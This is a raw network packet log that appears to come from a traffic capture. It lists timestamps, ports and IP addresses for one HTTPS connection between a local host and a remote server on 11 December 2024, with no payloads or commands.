Dec 11, 2024 12:45:37.128369093 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.128935099 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.129154921 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.129175901 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.129183054 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.129319906 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.350594044 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.350816011 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.350895882 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.351108074 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.351181984 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.351543903 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.351712942 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.352327108 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.352454901 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.352468014 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.352652073 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.352652073 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.352658987 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.353235006 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.353368998 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.353416920 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.353425026 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.353494883 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.353548050 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.354255915 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.354443073 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.354449034 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.354732037 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.356163025 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.356304884 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.356312037 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.356393099 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.356395960 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.356473923 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.411420107 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.592442036 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.592447042 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.592564106 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.592611074 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.592690945 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.592696905 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.592988014 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.592995882 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.593259096 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.594362020 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.594372034 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.594521046 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.594569921 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.594575882 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.594666004 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.594717979 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.595350981 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.596060038 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.596070051 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.596858978 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.597004890 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.597012997 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.597114086 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.597330093 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.832448006 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.832462072 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.832592010 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.832592010 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.832690001 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.832695007 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.832887888 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.834428072 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.834444046 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.834631920 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.834700108 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.834707022 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.834749937 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.834882975 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.836271048 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.836412907 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.836504936 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.836513996 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.836689949 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.838244915 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.838263035 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.838438988 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.838475943 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.838532925 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.838541985 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.838743925 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.074429989 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.074449062 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.074737072 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.074745893 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.074922085 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.076364994 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.076381922 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.076697111 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.076704979 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.076867104 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.078368902 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.078385115 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.078705072 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.078717947 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.078888893 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.079544067 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.079675913 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.079688072 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.079688072 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.079787970 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.079796076 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.079988956 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.081470013 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.081485987 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.081645966 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.081705093 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.081710100 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.081801891 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.081927061 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.083137035 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.083276033 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.083328009 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.083426952 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.083431959 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.083539963 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.312002897 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.312006950 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.312094927 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.312537909 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.312546015 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.312846899 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.313994884 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.314030886 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.314197063 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.314209938 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.314297915 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.314513922 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.315898895 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.315927982 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.316116095 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.316123962 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.316175938 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.316345930 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.317852020 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.317863941 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.318166018 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.318171024 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.318358898 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.319761038 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.319895983 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.319963932 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.319973946 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.320221901 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.321724892 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.321738005 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.321870089 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.322036028 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.322042942 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.323656082 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.323671103 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.323808908 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.323816061 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.323899031 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.323976994 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.553740978 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.553760052 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.554167032 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.554177999 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.554346085 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.554346085 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.555628061 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.555644035 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.555871964 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.555881023 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.555929899 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.556201935 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.557584047 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.557599068 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.557735920 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.557815075 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.557822943 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.557888031 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.558085918 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.559606075 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.559622049 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.559824944 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.559833050 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.560007095 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.560054064 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.561492920 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.561508894 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.561856985 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.561863899 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.562158108 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.563415051 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.563541889 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.563574076 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.563760042 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.563760042 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.563769102 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.563949108 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.565370083 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.565386057 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.565629005 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.565643072 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.565702915 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.565859079 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.567302942 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.567318916 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.567445040 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.567540884 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.567544937 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.567639112 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.567769051 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.569165945 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.569295883 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.569464922 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.569475889 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.569641113 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.614361048 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.795188904 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.795195103 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.795336962 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.795444965 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.795770884 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.795780897 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.796081066 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.797036886 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.797053099 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.797380924 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.797386885 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.797552109 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.799067020 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.799082994 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.799279928 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.799285889 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.799355984 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.799534082 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.801018953 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.801034927 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.801335096 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.801341057 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.801508904 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.802956104 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.802972078 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.803153992 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.803153992 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.803333044 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.803339005 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.803514957 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.805439949 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.805457115 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.805663109 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.805669069 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.805860996 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.807210922 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.807341099 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.807456017 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.807460070 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.807534933 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.807689905 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.809305906 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.809323072 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.809497118 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.809545994 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.809549093 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.809592962 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.809689045 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.811233997 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.811250925 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.811395884 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.811395884 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.811494112 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.811497927 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.811592102 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.811693907 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.813163042 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.813179970 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.813318968 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.813394070 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.813396931 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.813488960 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.813644886 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.814124107 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.814264059 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.814279079 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.814279079 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.814376116 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.814379930 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:38.814464092 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:38.864156008 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.035198927 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.035209894 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.035311937 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.035394907 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.035748959 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.035763025 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.036003113 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.037138939 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.037173986 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.037491083 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.037544012 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.037544012 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.037556887 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.037652969 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.037816048 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.039062023 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.039079905 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.039212942 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.039277077 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.039283037 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.039377928 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.039510965 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.040935993 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.040951967 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.041213989 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.041218996 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.041390896 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.042969942 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.042987108 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.043205976 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.043215036 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.043251991 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.043409109 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.045315027 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.045330048 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.045516014 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.045672894 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.045681000 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.046008110 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.047266960 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.047282934 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.047600985 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.047610044 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.047799110 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.049613953 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.049629927 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.049840927 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.049913883 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.049918890 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.050131083 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.051522970 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.051534891 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.051676035 CET	49763	443	192.168.11.20	172.67.128.139
